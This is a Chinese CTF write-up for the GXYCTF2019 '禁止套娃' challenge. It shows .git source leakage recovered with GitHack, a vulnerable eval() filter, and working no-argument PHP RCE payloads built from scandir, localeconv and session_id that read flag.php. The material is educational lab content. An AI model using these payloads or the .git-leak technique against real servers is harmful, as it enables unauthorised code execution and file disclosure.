[GXYCTF2019]禁止套娃
.git 源码泄露、工具 GitHack
无参数RCE
php函数的利用
- 题目中什么信息都没有
- 这是一道 .git源码泄露的题目,使用工具 GitHack 下载源码
python GitHack.py http://fa565425-847d-4196-ba33-85056f1d7ce1.node4.buuoj.cn:81/.git
- 查看到 index.php 的源码,关键代码如下
请注意如下代码框中的注释解析
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
# 这里过滤了部分php伪协议:data:、filter:、php:、phar:
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
# (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
# 这是无参数RCE典型的例子,要满足这一if判断,就要使用无参数的RCE
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
# 过滤了关键词,不能使用 get、phpinfo 等等函数了
// echo $_GET['exp'];
@eval($_GET['exp']);
}
- 可以通过工具 dirsearch 扫描到一个文件
flag.php
,其实也很容易猜到有这么一个文件,不过也可以用以下payload查看当前文件目录
?exp=print_r(scandir(pos(localeconv())));
# 这几个函数都是php内置函数,这句话表达的意思是扫描当前目录的文件并以数组形式返回。
# localeconv() 函数返回包含本地数字及货币信息格式的数组,数组的第一个元素只有一个符号“.”
# pos() 传入并回显数组的第一个元素,pos(localeconv())等价于符号“.”,pos()可以用current()代替
# scandir() 扫描文件目录并返回以数组的格式返回
- 构建如下payload查看flag.php的内容,得到flag
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
# 这句话会将 flag.php 文件的内容显示出来
# scandir(current(localeconv())) 得到数组Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
#
# next() 返回数组中当前指针指向的元素的下一个指针所指的元素,此时得到的就是指针指向 flag.php 的元素
# highlight_file() 以高亮格式返回指定文件名的文件代码
部分知识点:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
方法二:session_id()
- 首先要在传入参数中使用
session_start()
开启session会话
,php默认是不开启session会话的,payload:?exp=highlight_file(session_id(session_start()));
session_id()
可以获取PHPSESSID
的值,可以在请求头中传入cookie:PHPSESSID=flag.php
,从而读取到文件flag.php
中的信息
burpsuite请求头信息如下图,修改的内容是第一行和最后一行:
标签:BUUCTF,套娃,数组,flag,session,exp,php,GXYCTF2019,指针 From: https://blog.51cto.com/u_16021951/6334717